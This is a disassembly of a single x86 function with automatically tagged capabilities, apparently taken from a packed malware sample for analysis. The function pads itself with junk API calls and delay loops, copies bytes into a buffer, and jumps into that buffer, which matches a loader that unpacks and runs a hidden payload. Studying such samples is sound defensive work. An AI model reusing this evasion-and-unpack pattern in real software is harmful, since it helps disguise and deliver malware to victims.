Function at 0x4afe9a
Capabilities:
Check for software breakpoints
Copy file
Set current directory
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd40
mov eax, dword [0x4b50d0]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x4afeba
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x365ea9e0
jge 0x4afefd
cmp dword [0x4be5ac], 0xc31
jne 0x4afed7
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], 0x925f9c4
jle 0x4afefb
cmp dword [0x4be5ac], 0xa
jne 0x4afef9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x4afefd
jmp 0x4afeb3
and dword [ebp - 0x64], 0
jmp 0x4aff0a
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x5f6c74
jge 0x4aff28
cmp dword [ebp - 0x64], 0x562d05
jne 0x4aff26
mov eax, dword [0x4b5d58]
mov dword [0x4be60c], eax
jmp 0x4aff03
cmp dword [0x4be5ac], 0x7c
jne 0x4aff94
push 0
push 0
push 0
push 0
push str.pozimuhozideyu
push str.tipivagocimowiya
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
cmp dword [0x4be5ac], 0x2d
jne 0x4aff83
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
lea eax, [ebp - 0x7c]
push eax
call fcn.004011fe
lea eax, [ebp - 0x7c]
call fcn.00401230
cmp dword [0x4be5ac], 0x110a
jne 0x4b0090
and dword [0x4be598], 0
and dword [0x4be59c], 0
cmp dword [0x4be5ac], 0xcc
jne 0x4affe0
push str.Dogon_tekixerinoruz_mute_vigevetudeyev_zudagixebapewo
push str.Zukefeciyim
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x4be268], 0x14
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
lea eax, [ebp - 0x498]
push eax
push str.royelejawawicegorudih
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0
call fcn.00401d75
pop ecx
pop ecx
push 0
push 0
call fcn.00401d75
pop ecx
pop ecx
mov eax, dword [0x4b38ec]
mov dword [ebp - 0xc98], eax
push 0x7fc
push 0
lea eax, [ebp - 0xc94]
push eax
call fcn.00404200
add esp, 0xc
lea eax, [ebp - 0x498]
mov dword [ebp - 0x98], eax
push 0
push 0
call fcn.00401d75
pop ecx
pop ecx
push 0
call fcn.00401edc
pop ecx
push 0
call fcn.00401a7c
pop ecx
call fcn.004af4a3
and dword [ebp - 0xca0], 0
jmp 0x4b00ab
mov eax, dword [ebp - 0xca0]
inc eax
mov dword [ebp - 0xca0], eax
mov eax, dword [ebp - 0xca0]
cmp eax, dword [0x4be5ac]
jae 0x4b0102
mov eax, dword [0x4be60c]
mov dword [ebp - 0xca4], eax
mov eax, 0xa231
add dword [ebp - 0xca4], eax
mov eax, dword [0x4be4f4]
add eax, dword [ebp - 0xca0]
mov ecx, dword [ebp - 0xca4]
add ecx, dword [ebp - 0xca0]
mov cl, byte [ecx]
mov byte [eax], cl
cmp dword [0x4be5ac], 0x5ab
jne 0x4b0100
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
jmp 0x4b009e
call fcn.004afc5b
call fcn.004af4b8
mov eax, 0x4b5d60
call fcn.004afe30
and dword [ebp - 0xca8], 0
jmp 0x4b012c
mov eax, dword [ebp - 0xca8]
inc eax
mov dword [ebp - 0xca8], eax
cmp dword [ebp - 0xca8], 0x15a63d
jge 0x4b0155
cmp dword [ebp - 0xca8], 0xbd9cb
jne 0x4b0153
mov eax, dword [0x4be4f4]
add eax, 0
mov dword [0x4be4f4], eax
jmp 0x4b011f
jmp dword [0x4be4f4]